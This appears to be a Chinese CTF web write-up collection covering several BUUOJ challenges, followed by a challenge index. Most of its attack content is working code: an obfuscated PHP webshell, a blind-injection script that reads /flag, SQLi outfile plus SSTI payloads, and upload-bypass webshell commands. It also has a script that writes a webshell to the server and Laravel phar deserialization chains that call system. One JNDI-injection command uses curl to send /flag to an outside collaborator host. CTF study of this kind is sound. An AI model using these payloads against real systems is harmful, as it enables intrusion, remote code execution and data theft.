<?=$_=[];$_="$_";$_=$_[("!"=="!")+("!"=="!")+("!"=="!")];$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___=$_;$___++;$___++;$___++;$___++;$____=$_;$_____=$_;$_____++;$_____++;$_____++;$______=$_;$______++;$______++;$______++;$______++;$______++;$__=$__.$___.$____.$_____.$______;$___=$_;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$__=$__.$___.$____.$_____;$___=$_;$___++;$___++;$___++;$___++;$___++;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$______=$_;$______++;$______++;$______++;$______++;$______++;$______++;$___=$___.$____.$_____.$______;$____=$_;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$_;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$_____++;$___=$___.'.'.$____.$_____.$____;$__($___);?>

注意对+进行url编码

flag{f5bf0f29-bb51-4f28-b9ee-d9ef9b1e3915}

————之后看更多师傅们的wp，发现由于是win的环境还可以有别的trick来利用

win下有磁盘流创建目录的方式

图片.png

当file_put_contents传入的文件名为amiz::$INDEX_ALLOCATION时就会在当前文件夹下创建一个名为amiz的文件夹，内容为空

我们先用put创建文件夹，再put向这个文件夹下写shell，最后包含这个文件夹下的shell就可以了

参考：wp1 | wp2

*[RCTF2019]calcalcalc | char-by-char-sqli

给了源码，离谱，有3个语言的后端，pho nodejs python……..

先看前端，frontend/views/index.hbs

会post方式请求/calculate，但好像也算不了啥东西，返回201，然后是frontend/src/app.controller.ts

有一说一ts我看起来好费劲……它还涉及到另外两个文件，calculate.model.ts

其中用到的@ExpressionValidator，expresssion.validator.ts

如果18行的isVip为false，就会判断长度，我们可以直接传入json，设它为true

三个后端都会对我们请求的式子进行运算，但只有三个返回结果一致时才可以通过

Python的后端有处理post请求的部分，backend-python/src/app.py

会将请求的expression参数进行json处理后eval，那入手点就在这里了；但是13行的规则比较严苛，我们采用chr()的方式绕过

但是由于它没有明确的回显，并且后端处于内网中不能外带数据，所以采用时间盲注的思想，配合二分的脚本拿flag

*由于buuoj的内网环境问题，这里做不了，所以只写一下脚本，等啥时候修复了再回来做（脚本参考guoke师傅的，二分法

核心的盲注payload是这个

__import__('time').sleep(5) if (ord(open('/flag','r').read() [str(i)])>str(mid))else 1

要过waf，所以转为chr()的形式，外面包一层eval

import requests
import time
x=''
def getpayload(num,mid):
    payload="__import__('time').sleep(5) if (ord(open('/flag','r').read()["+str(num)+"])>"+str(mid)+") else 1"
    data=''
    for i in payload:
        data+='chr('+str(ord(i))+')+'
    return('eval('+data[:-1]+')')
url='xxxx/calculate'
for a in range(0,60):
    max = 130
    min = 30
    while max >=min:
        mid=(max+min)//2
        payload=getpayload(a,mid)
        time1=time.time()
        r = requests.post(url, json={'isVip': True, 'expression': payload})
        time2=time.time()
        if (time2-time1>5):
            min=mid+1
        else:
            max=mid
        if max==mid==min:
            x+=chr(mid)
            print(str(a)+':'+x)
            break

参考：wp | wp2

[QWB2021 Quals]托纳多 | sqli processlist表 ssti

注册账号登入，但是只有admin才有flag，那肯定得要sqli了，在登录的地方注了半天，结果发现注入点在注册的页面（尴尬），直接单引号就可以闭合

admin'or '1		# 回显this username had been used

参考官方wp，这里用的是processlist表，这个表很特别

它读取正在执行的sql语句，我们可以通过info列来获得当前的表名列名，还是用祖传的二分法来爆admin的密码

（尴尬的是爆一会儿就寄了，害，寄寄寄

按照预期解，登入后可以任意文件读取，读/proc/self/cmdline可以看到python3 /qwb/app/app.py，无法直接读app.py，但是可以读pyc

http的响应头中有tornado的版本号6.0.3，对应的python>=3.5，爆破一下pyc的名称，得到pyc

/qwbimage.php?qwb_image_name=/qwb/app/__pycache__/app.cpython-35.pyc

uncompyle6反编译得到源码

import tornado.ioloop, tornado.web, tornado.options, pymysql, os, re
settings = {'static_path': os.path.join(os.getcwd(), 'static'),
 'cookie_secret': 'b93a9960-bfc0-11eb-b600-002b677144e0'}
db_username = 'root'
db_password = 'xxxx'
class MainHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        if user and user == b'admin':
            self.redirect('/admin.php', permanent=True)
            return
        self.render('index.html')
        
class LoginHandler(tornado.web.RequestHandler):

    def get(self):
        username = self.get_argument('username', '')
        password = self.get_argument('password', '')
        if not username or not password:
            if not self.get_secure_cookie('user'):
                self.finish('<script>alert(`please input your password and username`);history.go(-1);</script>')
                return
            if self.get_secure_cookie('user') == b'admin':
                self.redirect('/admin.php', permanent=True)
            else:
                self.redirect('/', permanent=True)
        else:
            conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
            cursor = conn.cursor()
            cursor.execute('SELECT * from qwbtttaaab111e where qwbqwbqwbuser=%s and qwbqwbqwbpass=%s', [username, password])
            results = cursor.fetchall()
            if len(results) != 0:
                if results[0][1] == 'admin':
                    self.set_secure_cookie('user', 'admin')
                    cursor.close()
                    conn.commit()
                    conn.close()
                    self.redirect('/admin.php', permanent=True)
                    return
                else:
                    cursor.close()
                    conn.commit()
                    conn.close()
                    self.finish('<script>alert(`login success, but only admin can get flag`);history.go(-1);</script>')
                    return
            else:
                cursor.close()
                conn.commit()
                conn.close()
                self.finish('<script>alert(`your username or password is error`);history.go(-1);</script>')
                return
            
class RegisterHandler(tornado.web.RequestHandler):

    def get(self):
        username = self.get_argument('username', '')
        password = self.get_argument('password', '')
        word_bans = ['table', 'col', 'sys', 'union', 'inno', 'like', 'regexp']
        bans = ['"', '#', '%', '&', ';', '<', '=', '>', '\\', '^', '`', '|', '*', '--', '+']
        for ban in word_bans:
            if re.search(ban, username, re.IGNORECASE):
                self.finish('<script>alert(`error`);history.go(-1);</script>')
                return

        for ban in bans:
            if ban in username:
                self.finish('<script>alert(`error`);history.go(-1);</script>')
                return
        if not username or not password:
            self.render('register.html')
            return
        if username == 'admin':
            self.render('register.html')
            return
        conn = pymysql.connect('localhost', db_username, db_password, 'qwb')
        cursor = conn.cursor()
        try:
            cursor.execute("SELECT qwbqwbqwbuser,qwbqwbqwbpass from qwbtttaaab111e where qwbqwbqwbuser='%s'" % username)
            results = cursor.fetchall()
            if len(results) != 0:
                self.finish('<script>alert(`this username had been used`);history.go(-1);</script>')
                conn.commit()
                conn.close()
                return
        except:
            conn.commit()
            conn.close()
            self.finish('<script>alert(`error`);history.go(-1);</script>')
            return
        try:
            cursor.execute('insert into qwbtttaaab111e (qwbqwbqwbuser, qwbqwbqwbpass) values(%s, %s)', [username, password])
            conn.commit()
            conn.close()
            self.finish("<script>alert(`success`);location.href='/index.php';</script>")
            return
        except:
            conn.rollback()
            conn.close()
            self.finish('<script>alert(`error`);history.go(-1);</script>')
            return
            
class LogoutHandler(tornado.web.RequestHandler):

    def get(self):
        self.clear_all_cookies()
        self.redirect('/', permanent=True)
        
class AdminHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        if not user or user != b'admin':
            self.redirect('/index.php', permanent=True)
            return
        self.render('admin.html')

class ImageHandler(tornado.web.RequestHandler):

    def get(self):
        user = self.get_secure_cookie('user')
        image_name = self.get_argument('qwb_image_name', 'header.jpeg')
        if not image_name:
            self.redirect('/', permanent=True)
            return
        else:
            if not user or user != b'admin':
                self.redirect('/', permanent=True)
                return
            if image_name.endswith('.py') or 'flag' in image_name or '..' in image_name:
                self.finish("nonono, you can't read it.")
                return
            image_name = os.path.join(os.getcwd() + '/image', image_name)
            with open(image_name, 'rb') as (f):
                img = f.read()
            self.set_header('Content-Type', 'image/jpeg')
            self.finish(img)
            return
        
class SecretHandler(tornado.web.RequestHandler):
    def get(self):
        if len(tornado.web.RequestHandler._template_loaders):
            for i in tornado.web.RequestHandler._template_loaders:
                tornado.web.RequestHandler._template_loaders[i].reset()

        msg = self.get_argument('congratulations', 'oh! you find it')
        bans = []
        for ban in bans:
            if ban in msg:
                self.finish('bad hack,go out!')
                return

        with open('congratulations.html', 'w') as (f):
            f.write('<html><head><title>congratulations</title></head><body><script type="text/javascript">alert("%s");location.href=\'/admin.php\';</script></body></html>\n' % msg)
            f.flush()
        self.render('congratulations.html')
        if tornado.web.RequestHandler._template_loaders:
            for i in tornado.web.RequestHandler._template_loaders:
                tornado.web.RequestHandler._template_loaders[i].reset()
                
def make_app():
    return tornado.web.Application([
     (
      '/index.php', MainHandler),
     (
      '/login.php', LoginHandler),
     (
      '/logout.php', LogoutHandler),
     (
      '/register.php', RegisterHandler),
     (
      '/admin.php', AdminHandler),
     (
      '/qwbimage.php', ImageHandler),
     (
      '/good_job_my_ctfer.php', SecretHandler),
     (
      '/', MainHandler)], **settings)


if __name__ == '__main__':
    app = make_app()
    app.listen(8000)
    tornado.ioloop.IOLoop.current().start()
    print('start')

可以看到/good_job_my_ctfer.php有ssti，但是{{}}被过滤，只能用{%%}，这里用到的是{%extends %}，它可以传递一个文件路径作为参数，将其包含并渲染

所以我们可以先通过sqli的outfile写文件，然后通过ssti包含来执行读flag的命令

/register.php?username=amiz&password={%set return __import__("os").popen("cat /flag").read()%}
/register.php?username=amiz' into outfile '/var/lib/mysql-files/amiz&password=amiz
/good_job_my_ctfer.php?congratulations={%extends /var/lib/mysql-files/amiz%}

先通过注册把payload写到密码部分，然后outfile到mysql的默认导出目录/var/lib/mysql-files/，最后包含

flag{79d863ac-1fc6-42f6-951a-d3b6f0468b7f}

[PWNHUB 公开赛 2018]傻 fufu 的工作日 | upload

/UploadFile.class.php.bak, /index.php.bak 有备份文件泄露，使用phpjiami进行加密，我们用脚本进行解密

<?php
if($_FILES) {
    include 'UploadFile.class.php';
    $dist = 'upload';
    $upload = new UploadFile($dist, 'upfile');
    $data = $upload->upload();
}

<?php

class UploadFile {
    public $error = '';

    protected $field;
    protected $allow_ext;
    protected $allow_size;
    protected $dist_path;
    protected $new_path;

    function __construct($dist_path, $field='upfile', $new_name='random', $allow_ext=['gif', 'jpg', 'jpeg', 'png'], $allow_size=102400)
    {
        $this->field = $field;
        $this->allow_ext = $allow_ext;
        $this->allow_size = $allow_size;
        $this->dist_path = realpath($dist_path);

        if ($new_name === 'random') {
            $this->new_name = uniqid();
        } elseif (is_string($new_name)) {
            $this->new_name = $new_name;
        } else {
            $this->new_name = null;
        }
    }

    protected function codeToMessage($code) 
    { 
        switch ($code) {
            case UPLOAD_ERR_INI_SIZE: 
                $message = "The uploaded file exceeds the upload_max_filesize directive in php.ini"; 
                break; 
            case UPLOAD_ERR_FORM_SIZE: 
                $message = "The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in the HTML form";
                break; 
            case UPLOAD_ERR_PARTIAL: 
                $message = "The uploaded file was only partially uploaded"; 
                break; 
            case UPLOAD_ERR_NO_FILE: 
                $message = "No file was uploaded"; 
                break; 
            case UPLOAD_ERR_NO_TMP_DIR: 
                $message = "Missing a temporary folder"; 
                break; 
            case UPLOAD_ERR_CANT_WRITE: 
                $message = "Failed to write file to disk"; 
                break; 
            case UPLOAD_ERR_EXTENSION: 
                $message = "File upload stopped by extension"; 
                break; 
            default: 
                $message = "Unknown upload error"; 
                break; 
        } 
        return $message; 
    } 

    protected function error($info)
    {
        $this->error = $info;
        return false;
    }

    public function upload()
    {
        if(empty($_FILES[$this->field])) {
            return $this->error('上传文件为空');
        }
        if(is_array($_FILES[$this->field]['error'])) {
            return $this->error('一次只能上传一个文件');
        }
        if($_FILES[$this->field]['error'] != UPLOAD_ERR_OK) {
            return $this->error($this->codeToMessage($_FILES[$this->field]['error']));
        }
        $filename = !empty($_POST[$this->field]) ? $_POST[$this->field] : $_FILES[$this->field]['name'];
        if(!is_array($filename)) {
            $filename = explode('.', $filename);
        }
        foreach ($filename as $name) {
            if(preg_match('#[<>:"/\\|?*.]#is', $name)) {
                return $this->error('文件名中包含非法字符');
            }
        }

        if($_FILES[$this->field]['size'] > $this->allow_size) {
            return $this->error('你上传的文件太大');
        }
        if(!in_array($filename[count($filename)-1], $this->allow_ext)) {
            return $this->error('只允许上传图片文件');
        }

        // 用.分割文件名，只保留首尾两个字符串，防御Apache解析漏洞
        $origin_name = current($filename);
        $ext = end($filename);
        $new_name = ($this->new_name ? $this->new_name : $origin_name) . '.' . $ext;
        $target_fullpath = $this->dist_path . DIRECTORY_SEPARATOR . $new_name;

        // 创建目录
        if(!is_dir($this->dist_path)) {
            mkdir($this->dist_path);
        }

        if(is_uploaded_file($_FILES[$this->field]['tmp_name']) && move_uploaded_file($_FILES[$this->field]['tmp_name'], $target_fullpath)) {
            // Success upload
        } elseif (rename($_FILES[$this->field]['tmp_name'], $target_fullpath)) {
            // Success upload
        } else {
            return $this->error('写入文件失败，可能是目标目录不可写');
        }

        return [
            'name' => $origin_name,
            'filename' => $new_name,
            'type' => $ext
        ];
    }
}

注意到这个后缀

$filename = !empty($_POST[$this->field]) ? $_POST[$this->field] : $_FILES[$this->field]['name'];
if(!in_array($filename[count($filename)-1], $this->allow_ext)) {
    return $this->error('只允许上传图片文件');
}
$ext = end($filename);
$target_fullpath = $this->dist_path . DIRECTORY_SEPARATOR . $new_name;

在判断的时候用的是count($filename)-1，变相提示我们可以有很多的name，配合数组进行绕过

/upload/61ebe7df95da2.php?amiz=system('cat /flag_9bc85242c9f1a7663e6806778e8a8558');

flag_9bc85242c9f1a7663e6806778e8a8558

*ctf473831530_2018_web_virink_web | php-shell

<?php
    $sandbox = '/www/sandbox/' . md5('orange' . $_SERVER['REMOTE_ADDR']);
    mkdir($sandbox);
    chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 20) {
        exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $sandbox);
    }
    echo "<br /> IP : {\$_SERVER['REMOTE_ADDR']}";
?>

跟orange佬的[HitconCTF 2017]babyfirst-revenge一样，对cmd字符数更宽松了，这里采用师傅的脚本

import requests

base_url = 'http://a40430ad-39b5-4020-a550-14afee81e640.node1.buuoj.cn'


def exec_cmd2(c):
    # exec cmd
    my_params = {
        'cmd': c
    }
    r = requests.get(base_url, params=my_params)
    print('exec cmd2', c, r)


def write_webshell():
    filename = [r'>echo\ \\', r">\'\<\?php \\", r'>eval\(', r'>\$_GET\[c\]\)', r">\;\'\>2.php"]
    for i in filename:
        my_params = {
            'cmd': i
        }
        r = requests.get(base_url, params=my_params)
        print(i, r.status_code)

    cmd_list = ['ls -tr>1.sh', 'sh 1.sh']
    for i in cmd_list:
        exec_cmd2(i)

if __name__ == '__main__':
    write_webshell()
    print('ok')

之后用/sandbox/xxxx/2.php?c=eval($_POST[‘cmd’]);连接蚁剑，不过由于环境问题，后面内网的部分做不了了，寄

参考：wp

page 08

[HFCTF 2021 Final]tinypng | laravel反序列化 phar

是laravel框架，给了很详细的源码，但是主要的也就是这些

给出的laravel框架的源码，版本是8.53.0，首先从/routes/web.php入手看一下路由

一共两个路由，/即/index，实现的是文件上传的一些处理比如后缀的过滤和文件名的设置之类的，/image则是特殊的，跟过去看ImageController类

亮点在第25行，新建了一个imgcompress实例并执行compressImg()，跟过去看

首先调用的_openImage()里第44行的getimagesize()结合phar会触发反序列化，此处的参数$this->src来自于$source，也就是$request -> input('image');，也就是我们传入的image参数，可控

反序列化的入口找到了，接下来就是找一找调用链，这里就直接放出来（我太菜了寄

可用链子1

<?php
namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator{
        private $parent;
        private $route;
        public function __construct($class){
            $this->parent=$class;
            $this->route='test';
        }
    }
}
 
namespace Mockery{
    class HigherOrderMessage{
        private $mock;
        private $method;
        public function __construct($class){
            $this->mock=$class;
            $this->method='generate';
        }
    }
}
 
namespace PHPUnit\Framework\MockObject{
    final class MockTrait{
        private $mockName;
        private $classCode;
        public function __construct(){
            $this->mockName='123';
            $this->classCode='phpinfo();';
        }
    }
}
 
namespace{
    use \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
    use \Mockery\HigherOrderMessage;
    use \PHPUnit\Framework\MockObject\MockTrait;
    $c=new MockTrait();
    $b=new HigherOrderMessage($c);
    $a=new ImportConfigurator($b);
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering(); 
    $phar->setStub('GIF89a'."__HALT_COMPILER();"); 
    $phar->setMetadata($a); 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}
 
?>

可用链子2

<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct($events, $event) {
            $this->events = $events;
            $this->event = $event;
        }
    }

    class BroadcastEvent {
        public $connection;
        public function __construct($connection) {
            $this->connection = $connection;
        }
    }
}

namespace Illuminate\Bus {
    class Dispatcher {
        protected $queueResolver;
        public function __construct($queueResolver){
            $this->queueResolver = $queueResolver;
        }
    }
}


namespace {
    $c = new Illuminate\Broadcasting\BroadcastEvent('ls');
    $b = new Illuminate\Bus\Dispatcher('system');
    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);
    #print(urlencode(serialize($a)));
    @unlink("phar.phar");
    $phar=new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub('GIF89a'."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}

将生成的phar文件用gzip压缩后上传（记得要改一下content-type），在image处访问/image?image=phar://../storage/app/uploads/xxxxxxxxxx.png即可看到隐藏在500报错下面的phpinfo

光看到phpinfo不是目标，还需要继续执行命令，这里用的是第二个链子相当于执行以下的命令

system("cd ../../../;ls");
system("cd ../../../;cat flag");

参考：wp1 wp2

————哄堂大孝了家人们我是憨批这个get传image的地方我一直在用post传我还在纳闷为啥一直会报405的错😅😅😅

[NPUCTF2020]EzShiro

和 [红明谷CTF 2021]JavaWeb 是完全一样的payload

首先是一个/;/json绕过鉴权，之后是jndi注入，用那个jar一把梭

["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://101.35.114.107:1099/qhx0ip"}]

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl http://mg6uynla2pxa8ilgp4cprm0suj09oy.burpcollaborator.net/ -F file=@/flag" -A "101.35.114.107"

page 01

[极客大挑战 2019]EasySQL | sqli 弱口令

[HCTF 2018]WarmUp | mb_substr

[极客大挑战 2019]Havefun

[ACTF2020 新生赛]Include | LFI

[强网杯 2019]随便注 | sqli 堆叠注入

[SUCTF 2019]EasySQL | sqli 堆叠注入

[ACTF2020 新生赛]Exec | rce

[极客大挑战 2019]Secret File | LFI

[极客大挑战 2019]LoveSQL | sqli 联合注入

[GXYCTF2019]Ping Ping Ping | rce 空格绕过

[极客大挑战 2019]Knife

[极客大挑战 2019]Http | 请求头

[极客大挑战 2019]Upload | upload

[ACTF2020 新生赛]Upload | upload

[RoarCTF 2019]Easy Calc | php-shell

[极客大挑战 2019]PHP

[极客大挑战 2019]BabySQL | sqli 联合注入 双写绕过

[ACTF2020 新生赛]BackupFile | 弱比较

[护网杯 2018]easy_tornado | ssti

[极客大挑战 2019]BuyFlag | is_numeric

[HCTF 2018]admin | unicode欺骗 flask-session

[BJDCTF2020]Easy MD5 | sqli raw-md5永真 md5绕过

[ZJCTF 2019]NiZhuanSiWei | 反序列化 LFI

[SUCTF 2019]CheckIn | upload

[极客大挑战 2019]HardSQL | sqli 报错注入

[MRCTF2020]你传你🐎呢 | upload

[MRCTF2020]Ez_bypass | is_numeric

[网鼎杯 2020 青龙组]AreUSerialz | 反序列化 private-func

[GXYCTF2019]BabySQli | sqli 联合查询创建临时数据

[GYCTF2020]Blacklist | sqli 堆叠注入 handler

[CISCN2019 华北赛区 Day2 Web1]Hack World | sqli 联合查询 盲注

[网鼎杯 2018]Fakebook | 反序列化 sqli load_file

page 03

[网鼎杯 2018]Comment | git泄露 sqli 二次注入 load_file

page 07

[FireshellCTF2020]URL TO PDF | ssrf

[FireshellCTF2020]ScreenShooter | cve-2019-17221 LFI

[De1CTF 2019]ShellShellShell | sqli 时间盲注 soap反序列化 内网 upload

[WMCTF2020]Web Check in 2.0 | LFI rce

***[CISCN2019 总决赛 Day1 Web3]Flask Message Board | ssti flask-session tensorflow

[红明谷CTF 2021]EasyTP | tp3.2 反序列化 mysql伪服务端 sqli 报错注入 堆叠注入 脱库

PyCalX 1&2 |

[SWPUCTF 2016]Web7

[网鼎杯 2020 半决赛]BabyJS

[红明谷CTF 2021]JavaWeb

[b01lers2020]Scrambled

[极客大挑战 2020]Roamphp4-Rceme

[Windows][HITCON 2019]Buggy_Net

*[NCTF2019]phar matches everything

[2021祥云杯]cralwer_z

[SWPU2019]Web6

[Insomni hack teaser 2019]Phuck2

[网鼎杯 2020 总决赛]Game Exp

[RoarCTF 2019]PHPShe

*[Zer0pts2020]musicblog

[FireshellCTF2020]Cars

[网鼎杯 2020 总决赛]Novel

[Windows]LFI2019

*[RCTF2019]calcalcalc | char-by-char-sqli

[QWB2021 Quals]托纳多 | sqli processlist表 ssti

[PWNHUB 公开赛 2018]傻 fufu 的工作日 | upload

*ctf473831530_2018_web_virink_web | php-shell

page 08

[HFCTF 2021 Final]tinypng | laravel反序列化 phar

[NPUCTF2020]EzShiro

[极客大挑战 2019]BabySQL | sqli 联合注入双写绕过

[CISCN2019 华北赛区 Day2 Web1]Hack World | sqli 联合查询盲注

[De1CTF 2019]ShellShellShell | sqli 时间盲注 soap反序列化内网 upload

[红明谷CTF 2021]EasyTP | tp3.2 反序列化 mysql伪服务端 sqli 报错注入堆叠注入脱库